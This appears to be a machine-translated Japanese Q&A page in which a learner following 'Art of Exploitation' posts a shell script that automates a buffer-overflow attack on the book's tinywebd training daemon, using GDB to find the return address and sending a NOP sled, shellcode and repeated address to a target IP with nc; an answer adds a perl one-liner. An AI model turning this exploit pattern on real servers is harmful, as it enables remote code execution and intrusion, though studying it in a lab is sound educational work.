2

要点: このスクリプトをより簡潔で簡潔にすることはできますか?

私は Erickson による Art of Exploitation に取り組んでおり、彼は彼の tinywebserver デーモンの悪用を高速化する自動化ツールの開発について説明しています。

ただし、Ubuntu 10.04 では、デーモンを再起動するたびにリターン アドレスが変更されます。スクリプトを調整して、GDB からのリターン アドレスの取得を自動化しました。私は以前にスクリプトを作成したことがなく、以下のスクリプトは機能しますが、特に GDB の行がよりクリーンになるかどうか疑問に思っていました。

基本的に、デーモンを起動して、pid を取得します。次に、正しいリターン アドレスを取得するために、GDB の実行を自動化します。これはログファイルに保存されます。

cut を使用して戻りアドレスを取得し、sed を使用してスペースを確保し、awk を使用してシェルコード用に適切にフォーマットします。

それ以外は本から。

gdb ラインと cut/sed/awk ラインに関するフィードバックはありますか?

アドバイスをありがとう。

#!/bin/sh
# a tool for exploiting tinywebd

if [ -z "$2" ]; then  # if argument 2 is blank
   echo "Usage: $0 <shellcode file> <target IP>"
   exit
fi 

./tinywebd
pid=$(pidof tinywebd)

OFFSET=524  # changed to work on eve

#RETADDR="\xe4\x9a\xd2\xbf" # 
sudo gdb -q -pid=$pid --symbols=./tinywebd --batch -ex "break 86" 
--batch -ex "c"--batch -ex "set logging on gdblog" --batch -ex "x/x request+100"
--batch -ex "set logging off" --batch -ex "quit"

RETADDR=$(cut -d: -f1 gdblog | sed 's/\(.\{2\}\)/\1 /g' | 
awk '{ print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}')
rm -f gdblog

echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))

echo "[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr ($((4*32)) 
bytes)]"
( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
 cat $1;
 perl -e "print \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80
4

2 に答える 2

1
cut -d: -f1 gdblog | sed 's/\(.\{2\}\)/\1 /g' | awk '{ print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}'

perlのワンライナーと同等のようです:

perl -ple '$_=join"",map"\\x$_",(/(..)/g)[4,3,2,1]' gdblog
于 2012-08-22T18:59:22.537 に答える